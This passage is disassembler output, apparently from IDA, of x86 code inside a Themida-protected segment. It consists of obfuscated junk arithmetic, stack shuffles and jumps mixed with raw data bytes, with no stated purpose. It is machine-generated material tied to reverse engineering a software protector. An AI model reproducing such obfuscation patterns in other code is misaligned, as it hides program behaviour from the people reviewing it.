		dd 1E92414h, 0F7FFFF0Dh, 0CAF181D9h, 54DF21Dh, 2821119Dh
		dd 9D2DC801h, 0E9282111h, 1C3Dh
; ---------------------------------------------------------------------------


loc_560C50:				; CODE XREF: Themida_:00563E95j
		add	edi, ecx
		push	eax
		mov	eax, 510E1EB3h
		sub	edi, 12512EC0h
		sub	edi, eax
		add	edi, 12512EC0h
		pop	eax
		push	ecx
		mov	ecx, 3FBE5ADBh
		push	esi
		mov	esi, 55D44581h
		and	ecx, esi
		pop	esi
		sub	ecx, 96E1C413h
		add	edi, 0D070333h
		sub	edi, ecx
		sub	edi, 0D070333h
		jmp	loc_553490
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 83240C8Bh, 0C18104C4h, 4, 8702C183h
		dd 248B240Ch, 0BE0F6624h, 0F06866C8h, 0C896636h, 0FB30E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560CBE:				; CODE XREF: Themida_:00556CFBj
		add	eax, 3B184FC9h
		jmp	loc_55601A
; ---------------------------------------------------------------------------


loc_560CC8:				; CODE XREF: Themida_:005609D7j
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	esi
		push	edi
		jmp	loc_55EE69
; ---------------------------------------------------------------------------
		dd 0AF392235h, 34815043h, 0A5311C24h, 0F5815D33h, 33A5311Ch
		dd 1C6F0958h, 8B2434FFh, 0E953242Ch, 0FFFF93D0h, 24048B66h
		dd 6FB168h, 1333E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560D0E:				; CODE XREF: Themida_:0055915Dj
		add	esp, 4
		jmp	loc_55E49F
; ---------------------------------------------------------------------------


loc_560D19:				; CODE XREF: Themida_:0055A667j
		add	eax, 7B2307CAh
		pop	edi
		jmp	loc_55753A
; ---------------------------------------------------------------------------
		dd 5C241C87h, 101168h, 66B2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D32:				; CODE XREF: Themida_:00559873j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55C90A
; ---------------------------------------------------------------------------
		dd 0FE0020BEh, 0FDFFE937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D4A:				; CODE XREF: Themida_:00550E49j
		mov	[esp], esi
		jmp	loc_561FB9
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0F61F67EAh, 81F20147h, 0F61F67C2h, 55535E47h, 0C25A7CBDh
		dd 0A45EE919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D6E:				; CODE XREF: Themida_:00555CEBj
		add	ebx, 77275A6Bh
		not	ebx
		inc	ebx
		xor	ebx, 9B3BD439h
		shl	ebx, 5
		sub	ebx, 0BC8626BFh
		and	edi, ebx
		pop	ebx
		push	5256h
		mov	[esp], ebp
		mov	ebp, 37AE1752h
		add	edi, 327D512Ch
		add	edi, ebp
		push	ebp
		jmp	loc_555BF1
; ---------------------------------------------------------------------------


loc_560DA4:				; CODE XREF: Themida_:00554346j
		sub	ecx, 47B30AFAh
		add	ecx, 4BB32C2Ah
		mov	ebx, [esp]
		push	ebx
		jmp	loc_562769
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8104C483h, 0A81F71C3h, 0C017E95Dh, 4BBFFFFh,	89000000h
		dd 0C3015BD8h, 4ABAE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560DDA:				; CODE XREF: Themida_:00555B6Aj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_562859
; ---------------------------------------------------------------------------
		align 4
		dd 6128E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E02:				; CODE XREF: Themida_:00550E9Bj
		push	dword ptr [esp+4]
		jmp	loc_564159
; ---------------------------------------------------------------------------
		db 92h
		dd 0CDFBEA81h, 0D701C976h, 279DE95Ah, 55AD0000h, 0E625EBDh
		dd 8BE82902h, 0D5E9242Ch, 0ADFFFFA4h, 0BF57D831h, 2754289Ah
		dd 323368h, 241C8900h, 0A2685550h, 5D56C26Fh, 0C7E9E889h
		dd 31000047h, 262EE9E9h, 0E8280000h, 0FFC330E9h, 0EBC681FFh
		dd 29069562h, 0EBEE81DEh, 0E9069562h, 0FFFF26DEh, 5BE1685Bh
		dd 14890000h, 0FA8CE924h, 248BFFFEh, 2424D324h,	0F968E99Ch
		dd 95EFFFEh, 0E94E59CEh, 0FFFEFC72h, 0E957F301h, 0FFFEF9F9h
; ---------------------------------------------------------------------------


loc_560E98:				; CODE XREF: Themida_:005590A5j
		xor	ebp, ecx
		xor	ecx, ebp
		xchg	edi, ebp
		push	edi
		jmp	loc_5508CF
; ---------------------------------------------------------------------------
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551F9E
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 48904ECh, 5585424h, 4, 55C5BF57h, 0C78149CEh, 8DA2FD8h
		dd 75D9F781h, 0EFD15050h, 0F781E7D1h, 2F8F040h,	335FF829h
		dd 4312404h, 24043324h,	8924248Bh, 0EC832434h, 242C8904h
		dd 402B15BDh, 6EA6825h,	34890000h, 5AC1BE24h, 0CE816FC5h
		dd 678B0819h, 1C681h, 0EBE90000h, 5DFFFF5Dh, 0FFE7B0E9h
		dd 241489FFh, 993675BAh, 0AAEA8171h, 8137FF11h,	2859EEE2h
		dd 3D57E957h, 4AC0000h,	70826800h, 0C890000h, 8089B524h
		dd 0F58053C5h, 8BE828A9h, 0C483240Ch, 51D82804h, 0FF7E80E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_553536
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0FFh
		dd 0F7FFFFFFh, 0C6C681D6h, 576BE76Ah, 981698BFh, 0E9FD297Ch
		dd 0FFFFC232h
; ---------------------------------------------------------------------------


loc_560F80:				; CODE XREF: Themida_:0055C99Aj
		add	edi, 0FFFFFFFFh
		sub	edi, 268F4042h
		add	edi, 1
		not	edi
		sub	edi, 0F704BD8Bh
		and	ebx, edi
		jmp	loc_558730
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 45C70504h, 0F02970ABh, 0AB45C72Dh, 24348B70h, 5604C483h
		dd 4B1CBA52h, 0F0E96CC2h, 81FFFF08h, 0FEE094EAh, 240E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FCA:				; CODE XREF: Themida_:00552A78j
		add	esp, 4
		xor	ebx, ecx
		pop	ecx
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		jmp	loc_564BEA
; ---------------------------------------------------------------------------


loc_560FDE:				; CODE XREF: Themida_:0056403Ej
		shl	ecx, 3
		jmp	loc_55EBA8
; ---------------------------------------------------------------------------


loc_560FE6:				; CODE XREF: Themida_:0055CAE8j
		jz	loc_554ADB
		push	dword ptr [edi+1Ch]
		push	eax
		push	24275C0Ch
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5553A4
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E9241C33h, 0FFFF3345h, 5266FF2Ch, 1E916B6h,	5600001Ah
		dd 7F255CBEh, 24742942h, 0A7E95E04h, 2900001Fh,	0FF575BDFh
		dd 8B042474h, 0C483243Ch, 24048F04h, 0FF422DE9h, 19C280FFh
		dd 5AD328h, 4C380C3h, 0FF11EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561059:				; CODE XREF: Themida_:0055C459j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0B2DE9DEh
		sub	edi, ecx
		pop	ecx
		shl	edi, 6
		sub	edi, 23DD3C5Fh
		sub	edi, 54B40C1Bh
		jmp	loc_56088F
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:005635A7j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_554F60
; ---------------------------------------------------------------------------
		dd 0BAC380h, 0EBF0E9D8h, 0A2B5FFFFh, 5359EE88h,	0FF0B08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5610A9:				; CODE XREF: Themida_:0055FDD0j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		sub	dword ptr [esp+4], 6CA02FD5h
		add	[esp+4], edi
		add	dword ptr [esp+4], 6CA02FD5h
		jmp	loc_55EF3C
; ---------------------------------------------------------------------------
		dw 17BFh
		dd 0E9596756h, 57Dh, 241C8B5Fh,	0FFA506E9h, 56FD01FFh
		dd 6F1A7ABEh, 5EF5014Bh, 4BE565Fh, 1000000h, 3719E9F5h
		dd 0EC280000h, 66AFEC80h, 0B2EC8059h, 0CBFEDC86h, 0EC80DC86h
		dd 0E0C480B8h, 302CB652h, 88515AF4h, 517FE9E1h,	515EFFFFh
		dd 0C181E189h, 4, 9C91E953h, 895CFFFFh,	84E9243Ch, 5BFFFF8Eh
		dd 0FF3E17E9h, 81E2D1FFh, 0A27060EAh, 0B8E28126h, 535A0844h
		dd 1C42E9h, 36C18000h, 54C86866h, 24048966h, 0FF5F57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561165:				; CODE XREF: Themida_:00555360j
		xor	[esp+4], ebp
		jmp	loc_562DA6
; ---------------------------------------------------------------------------
		dw 2CBBh
		dd 815F6A1Ch, 6A1C28F3h, 0B98AE95Fh, 0B353FFFFh, 31F38069h
		dd 0E1E9D828h, 83000017h, 48704C0h, 0C1815C24h,	4, 2C181h
		dd 0C330000h, 240C3124h, 0FF9DB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5611A9:				; CODE XREF: Themida_:00553AC9j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	edi
		mov	edi, 35603B4Dh
		jmp	loc_56503B
; ---------------------------------------------------------------------------
		dd 2858C788h, 1C8B66F8h, 2C48124h, 83000000h, 148904ECh
		dd 0E914B624h, 0FFFF84E2h, 0E904EC83h, 0FFFF7C9Ch, 318268h
		dd 24148900h, 3F4368h, 0C172E900h, 515AFFFFh, 2F6DE9h
		dd 52E58900h, 4BAh, 5AD50100h, 8704C583h, 575C242Ch, 0FF7D03E9h
		dd 11B951FFh, 0E970E615h, 0FFFF5DCFh, 5BFE285Ah, 0E9FBB551h
		dd 0FFFF102Bh, 6C55E981h, 0F1015CBFh, 6C55C181h, 0C1815CBFh
		dd 76601DDAh, 2C1835Eh,	7491E951h, 0E4C0FFFFh, 0F6C4FE02h
		dd 0F1E480DCh, 0E0C480h, 0C30058E3h, 6851EB80h,	1A09h
		dd 109AE9h, 24248B00h, 8B2434FFh, 0C4812404h, 4, 0C7E95453h
		dd 0FFFFFF27h, 59042474h, 0FF6CBFE9h, 0F6EE80FFh, 0FF7BE8E9h
		dd 408E68FFh, 34890000h, 505E5424h, 2422E9h, 0EC815E00h
		dd 4, 13CFE9h, 2E7C100h, 0FE31F731h, 0FF52D3E9h, 0CA015FFFh
		dd 3066EA81h, 0C8B46BEh, 4C48124h, 81000000h, 4ECh, 240C8900h
		dd 0FEF944E9h, 0BE5651FFh, 76F21CD3h, 1519C681h, 0F189D917h
		dd 31F0BA5Eh, 0CA295009h, 83240C8Bh, 0D50104C4h, 0FFF81FE9h
		dd 242489FFh, 4240481h,	8B000000h, 0E1682404h, 89000043h
		dd 0E6892434h, 0FEFC8DE9h, 2414F6FFh, 0CB805B66h, 0FCB1514Ch
		dd 0E1C0D1F6h, 0E0895008h, 405h, 42D00h, 4870000h, 14895C24h
		dd 0C0A3B624h, 0C6FE06E6h, 29EE80h, 6E95AF1h, 0F7FFFFFEh
		dd 5582414h, 0B9056EABh, 0F5E9C721h, 0FF000036h, 48B2434h
		dd 2531E924h, 0DD010000h, 60AAC581h, 815B3642h,	4C5h, 242C8700h
		dd 0FF444CE9h, 48759FFh, 0E9215C24h, 0FFB73BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56138D:				; CODE XREF: Themida_:0055EBB7j
		sub	eax, 0AF7A3F1Fh
		inc	eax
		jmp	loc_563EC0
; ---------------------------------------------------------------------------
		dd 0E281DAF7h, 17607CCDh, 0FF51DBE9h, 4EE83FFh,	5C243487h
		dd 89242C89h, 4C581E5h,	53000000h, 49BE68h, 24248900h
		dd 4BD55h, 6C010000h, 2C8B0424h, 4C48324h, 83241C8Bh, 0D6804C4h
		dd 0E900004Ch, 0FFFFDB34h, 6624248Bh, 6824048Bh, 3528h
		dd 68241C89h, 294Ah, 674A68h, 3D0FE900h, 572C0000h, 0FF11F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561405:				; CODE XREF: Themida_:0055C838j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_557B9F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4B850h, 0C1010000h, 2F20E9h, 4C48300h, 8904EC83h
		dd 0C8E9242Ch, 0FFFFFF7Ch, 0F3B4E932h, 3C33FFFEh, 24248B24h
		dd 243CD366h, 0F3A4E99Ch, 0E0C0FFFEh, 80AA3407h, 94E9C1C6h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561457:				; CODE XREF: Themida_:00560725j
		pop	edx
		add	edx, 4
		jmp	loc_5593C8
; ---------------------------------------------------------------------------


loc_561463:				; CODE XREF: Themida_:005582D5j
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5641BD
; ---------------------------------------------------------------------------


loc_56146B:				; CODE XREF: Themida_:00564691j
		pop	edx
		add	ebx, 1F0644ACh
		sub	ebx, ebp
		push	ecx
		mov	ecx, 1F0644ACh
		jmp	loc_556C93
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0FFC4F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56148D:				; CODE XREF: Themida_:005541FCj
		pop	esp
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_55AEC0
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 89000000h, 0E21E9C2h, 0EF810000h, 1164F16Ah,	3C8BFD31h
		dd 0FE59E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5614BA:				; CODE XREF: Themida_:0056285Cj
		pop	esp
		sub	eax, 0FFFFFFFFh
		neg	eax
		xor	eax, 0C2D846F9h
		sub	esi, 147E319Eh
		sub	esi, eax
		add	esi, 147E319Eh
		pop	eax
		and	eax, esi
		pop	esi
		jmp	loc_55E2DF
; ---------------------------------------------------------------------------
		dd 0BE9595Bh, 81FFFEF3h, 3752CDEAh, 9E42E948h, 0EBC1FFFFh
		dd 81DBF708h, 0AFA8E7EBh, 5BDA8995h, 6AE9D2F7h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561503:				; CODE XREF: Themida_:00558499j
		push	esi
		push	ebp
		mov	ebp, 64332DE0h
		jmp	loc_55A0B4
; ---------------------------------------------------------------------------
		db 89h
		dd 96E953E6h, 1FFFFE9h,	0D5F75EF5h, 9016C581h, 81552A78h
		dd 445242Ch, 815F353Fh,	3F0445C7h, 0E9565D35h, 0FFFF9059h
		dd 5C240487h, 54240489h, 40558h, 0E8830000h, 24043304h
		dd 2A77E9h
		db 0
; ---------------------------------------------------------------------------


loc_561551:				; CODE XREF: Themida_:00553978j
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_563E0D
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 0FFF065E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56156D:				; CODE XREF: Themida_:0055F2D4j
		shr	edx, 1
		shr	edx, 2
		jmp	loc_564F04
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 36E95C24h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561583:				; CODE XREF: Themida_:0055E314j
		add	eax, edi
		sub	eax, 3E0130A3h
		sub	eax, 1CC8109Ch
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	14BFh
		jmp	loc_55F2BF
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 0E9000000h, 0FFFF6CEAh, 50242C8Bh, 405E089h,	5000000h
		dd 4, 0FF4C03E9h, 48B66FFh, 5A545224h, 8904EC83h, 4B82404h
		dd 83000000h, 0A8E904ECh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5615E7:				; CODE XREF: Themida_:0055E9B1j
		mov	[esp], ecx
		mov	cl, 0F4h
		jmp	loc_55DF00
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 575C2434h, 6F7568h, 242C8900h
		dd 397536BDh, 0AB55E900h, 34BAFFFFh, 29BCE6D9h,	0D9295AD3h
		dd 0BD55415Bh, 58581F9Ch, 575DE931h, 162B0DBFh,	0C7814F37h
		dd 0FA8055Ah, 7AE9FA01h, 83FFFFFCh, 348704C6h, 0EC835C24h
		dd 242C8904h, 0FF0585E9h, 243C33FFh, 0FF64B8E9h, 5FFE01FFh
		dd 3586EE81h, 0EE8125A4h, 1C3A2DDFh, 98EE815Bh,	81477A1Eh
		dd 3702A1C6h, 81C60146h, 3702A1EEh, 0AF03E946h,	0E981FFFFh
		dd 1, 2C0CF181h, 0E98108FAh, 648439FEh,	185FF181h, 0CE297CCBh
		dd 83240C8Bh, 0EE0104C4h, 283BC681h, 0EE8164D0h, 50D121CCh
		dd 0FFB6BDE9h, 45E281FFh, 81062544h, 0CA5AE4C2h, 98C28112h
		dd 31EE09ECh, 56505AD5h, 3F1C68h, 242C8900h, 8D07C7BDh
		dd 2F0FE956h, 34870000h, 24248B24h, 9C243CD3h, 0FEF101E9h
		dd 241C89FFh, 2F68h, 240C8900h,	46B15153h, 0CF00E5B7h
		dd 0FFC72BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561705:				; CODE XREF: Themida_:00550ED7j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	4
		pop	esi
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		pop	ebp
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_55DE09
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 6
		dd 7DB2F581h, 89513830h, 59CB89E9h, 0FF7AB3E9h,	34FF5DFFh
		dd 0C4835F24h, 1C6F0904h, 8B2434FFh, 0C481242Ch, 4, 4EC81h
		dd 2C890000h, 81E58924h, 4ECh, 243C8900h, 0FF9D8DE9h, 24048FFFh
		dd 0E924248Bh, 0FFFF76B7h, 66CA2859h, 0E959B551h, 0FFFF3CFAh
		dd 7B4563BFh, 0D7CF8148h, 0F707ED55h, 4FF1E9D7h, 248BFFFFh
		dd 24040824h, 2A2E99Ch,	15F0000h, 0C1C381FBh, 0E92BB540h
		dd 0FFFFDD16h, 923AF635h, 58C60101h, 4C681h, 34870000h
		dd 835F5C24h, 348704C6h, 34FF5C24h, 24048B24h, 8904EC83h
		dd 5D54242Ch, 0FF64F0E9h, 24048BFFh, 81E38953h,	4C3h, 4C38300h
		dd 0FF8879E9h, 241C87FFh, 4C6815Ch, 68000000h, 2AF5h, 68241489h
		dd 3BA1h, 0BF243C89h, 15815424h, 0D3BB5350h, 0B8070E46h
		dd 28A0EC36h, 1C8BD801h, 4C48124h, 0E9000000h, 0FFFF7210h
		dd 33EAEA81h, 0D131EA40h, 0CA89525Ah, 0FF7796E9h, 96E951FFh
		dd 87000003h, 0D2F72414h, 0FF19BDE9h, 8BD929FFh, 8956241Ch
		dd 4C681E6h, 83000000h,	348704C6h, 0E9815C24h, 62356616h
		dd 4367E981h, 0D10157CEh, 7501E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56188A:				; CODE XREF: Themida_:00562A2Fj
		add	esp, 4
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 68h,	31h, 3Dh
		dd 4890000h, 0B9515624h, 459F6CB0h, 561322BEh, 10B5E93Bh
		dd 0C381FFFFh, 4, 0FFFF4CE9h, 24048BFFh, 41F68h, 241C8900h
		dd 0C3815B54h, 4, 0FF9A6FE9h, 2C483FFh,	0E9E9F404h, 0FFFFE8h
		dd 50515AD0h, 5BE90EB0h, 0E9FFFFCAh, 0FFFEEF02h, 4EC815Eh
		dd 89000000h, 81BA2414h, 0C1559D31h, 17E902E2h,	5BFFFF6Dh
		dd 401768h, 241C8900h, 26B55152h, 88EB8853h, 5E95BDAh
		dd 8BFFFF62h, 0F662424h, 9C2404B3h, 1BA0E9h, 0E9FA8900h
		dd 0FFFFCD02h, 2414895Ch, 0FFA187E9h, 0D1C181FFh, 111955Ah
		dd 9628E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561946:				; CODE XREF: Themida_:0055C8EEj
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	19FF76CBh
		pop	eax
		add	dword ptr [esp+4], 4A525473h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 4A525473h
		jmp	loc_55161E
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 28h
		dd 1C8BDA28h, 2B166824h, 2C890000h, 1026E924h, 0F0090000h
		dd 2C9C0D5Eh, 0FA68423Fh, 8900006Eh, 0C5B9240Ch, 8121C874h
		dd 0B4EECE9h, 0B7F18169h, 0C1139F5Fh, 0E18108E9h, 4E2C1C51h
		dd 284CBD55h, 0C581346Ch, 51AD1FCBh, 8108EDC1h,	0A30883CDh
		dd 6DED814Fh, 312586C3h, 0C8015DE9h, 0A684859h,	89000039h
		dd 0EC81242Ch, 4, 0FF3512E9h, 8EEC0FFh,	2852F680h, 6C8CE9F3h
		dd 0BF57FFFFh, 7629AEA7h, 3C8BFE01h, 4C48324h, 0FF6767E9h
		dd 78B850FFh, 517F7C28h, 0B50AD9B9h, 59C80176h,	0FF6128E9h
		dd 13E981FFh, 108481Ch,	13C181D9h, 8108481Ch, 4B2569C1h
		dd 8022E94Eh, 172DFFFFh, 0D401619h, 7824343Ah, 826BE951h
		dd 5C01FFFFh, 34FF0424h, 89535B24h, 0E95052E3h,	0FFFFFA46h
		dd 0FEED91E9h, 247401FFh, 24348B04h, 0FF7C5FE9h, 504F68FFh
		dd 2C890000h, 4EC8124h,	89000000h, 1BF243Ch, 57000000h
		dd 0FFFCCCE9h, 0C8B66FFh, 270E924h, 0FF5C0000h,	34FF2434h
		dd 2434FF24h, 4C48159h,	52000000h, 0AE9E289h, 2DFFFF4Ch
		dd 31EA1AFEh, 2404335Eh, 33240431h, 0E95C2404h,	0FFFFCC5Ah
		dd 6851515Ah, 0AC0h, 81242489h,	42404h,	0E9590000h, 0FFFF51E3h
		dd 8B2434FFh, 8CE9240Ch
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561ADF:				; CODE XREF: Themida_:0055677Ej
		pop	esp
		push	esi
		mov	esi, 12E13AC3h
		xor	esi, 297658C8h
		jmp	loc_5634F7
; ---------------------------------------------------------------------------
		db 2 dup(42h), 4Ah
		dd 849EF281h, 0D121DEB6h, 6EBF575Ah, 0C16F6C32h, 0DFF707E7h
		dd 0C808F781h, 0F9015F92h, 0E9CF315Fh, 0FFFFEAE2h, 0FB3BB53h
		dd 0E3812A9Ch, 7E4B48E3h, 59EB814Bh, 6853F071h,	1E6Ah
		dd 0E9240489h, 0FFFEF844h, 3A2E2E2Dh, 0E9404015h, 0FFFFB86Dh
; ---------------------------------------------------------------------------


loc_561B44:				; CODE XREF: Themida_:00559DA1j
		mov	[esp], esi
		mov	esi, 7BB269A9h
		sub	[esp+4], esi
		pop	esi
		pop	esi
		push	edi
		jmp	loc_554F4E
; ---------------------------------------------------------------------------


loc_561B58:				; CODE XREF: Themida_:00562BD1j
		add	edx, 4
		jmp	loc_55373E
; ---------------------------------------------------------------------------
		db 89h
		dd 0FBC1E9E6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561B6A:				; CODE XREF: Themida_:00555D4Bj
		pop	esi
		push	451Fh
		mov	[esp], esi
		jmp	loc_563332
; ---------------------------------------------------------------------------
		dd 25BB4EBFh, 0C63BE9FBh, 8B66FFFFh, 0EC81240Ch, 4, 0FF773AE9h
		dd 74FF66FFh, 59660224h, 24048F66h, 242C8B66h, 2C8B5455h
		dd 4C48324h, 55BA5257h,	89353439h, 24148BD7h, 8104C483h
		dd 4ECh, 24348900h, 2217E9h
		db 0
; ---------------------------------------------------------------------------


loc_561BC5:				; CODE XREF: Themida_:005650DBj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5601F7
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 0FF0369E9h, 2474FFFFh, 242C8B04h,	0FF8F49E9h
		dd 0B96853FFh, 5B6EEA6Dh, 5B5E381h, 66E9471Eh
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BFF:				; CODE XREF: Themida_:0055A442j
		add	ebp, ebx
		pop	ebx
		push	14F9h
		mov	[esp], esi
		mov	esi, 6C33032Ah
		xor	ebp, esi
		push	dword ptr [esp]
		jmp	loc_56091F
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 0FFE345E9h, 241487FFh, 4EC815Ch, 0E9000000h,	0FFFF3C10h
		dd 5A2434FFh, 0FF1069E9h, 0C8B66FFh, 0A9C0E924h, 0C181FFFFh
		dd 10E1B0B8h, 0C8BC831h, 4C48324h, 3A61E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C56:				; CODE XREF: Themida_:00551BD1j
		xor	dl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55D73A
; ---------------------------------------------------------------------------
		dw 8155h
		dd 4ECh, 24248900h, 0FFCAEDE9h,	0F9E953FFh, 5DFFFF77h
		dd 2474FF51h, 48F5904h,	0EC25E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CAA:				; CODE XREF: Themida_:00556A3Cj
		or	edx, 34F31DCEh
		jmp	loc_55CEAF
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0A92B6A04h, 246C817Bh, 0D362B104h, 2434FF28h, 8124048Bh
		dd 4C4h, 4C48100h, 5F000000h, 4C781h, 1DE90000h, 87000019h
		dd 685C2434h, 3771h, 0FFDDFEE9h, 3A2768FFh, 3C890000h
		dd 0CF89E924h, 4768FFFFh, 89000076h, 21E9241Ch,	2DFFFF49h
		dd 4B8E5BB8h, 0B805D829h, 574B8E5Bh, 8576AEBFh,	50C78150h
		dd 0E9CC7AC2h, 0FFFF053Eh, 0E924048Fh, 0FFFF408Eh
; ---------------------------------------------------------------------------


loc_561D30:				; CODE XREF: Themida_:00564663j
		add	esi, 19CCEAEFh
		sub	edx, esi
		pop	esi
		add	edx, 5ED65900h
		push	ebx
		mov	ebx, 793220F1h
		add	edx, ebx
		pop	ebx
		push	6E4Dh
		jmp	loc_56073C
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2, 0FF098FE9h, 246C81FFh, 0D057B808h, 246C8112h, 0F51B7A08h
		dd 246C812Bh, 0AC0FC708h, 966FE96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D7A:				; CODE XREF: Themida_:0055AF59j
		add	bl, al
		jmp	loc_55AAFF
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 18056824h, 4890000h,	945E924h, 455B0000h, 0CD81DDF7h
		dd 47EE0782h, 3822C581h, 0EB293811h, 81242C8Bh,	4C4h, 241C8700h
		dd 0E924248Bh, 0FFFFEA57h, 99105ABBh, 81D3F770h, 34764DEBh
		dd 591DE916h, 0C481FFFFh, 4, 0F60BC980h, 16E980D1h, 0FF4BC9E9h
		dd 0CE8F68FFh, 1584062h, 0E95359C8h, 0FFFFB6FCh, 4C4815Ah
		dd 30000000h, 0C0B60FC3h, 24148B66h, 5E0668h, 24048900h
		dd 97E95854h, 81FFFF8Ah, 3E63D4C7h, 73BD5574h, 817FBC3Ah
		dd 5D0B04EFh, 98D9E911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E22:				; CODE XREF: Themida_:00556A32j
		and	edi, 4C8F1317h
		shl	edi, 8
		sub	edi, 860014FCh
		add	ebx, edi
		jmp	loc_559CEE
; ---------------------------------------------------------------------------
		dd 7F7340BAh, 819DE9E3h, 0E189FFFFh, 4EC81h, 34890000h
		dd 5A73BE24h, 0D3E9430Ah, 0FFFFFF5Eh, 68592434h, 386Eh
		dd 54243489h, 8124348Bh, 4C4h, 0EC835500h, 24248904h, 4240483h
		dd 81242C8Bh, 4C4h, 0A6DCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E86:				; CODE XREF: Themida_:00563D1Aj
		add	ecx, 464725A9h
		pop	edi
		add	ecx, 4
		jmp	loc_55DE70
; ---------------------------------------------------------------------------
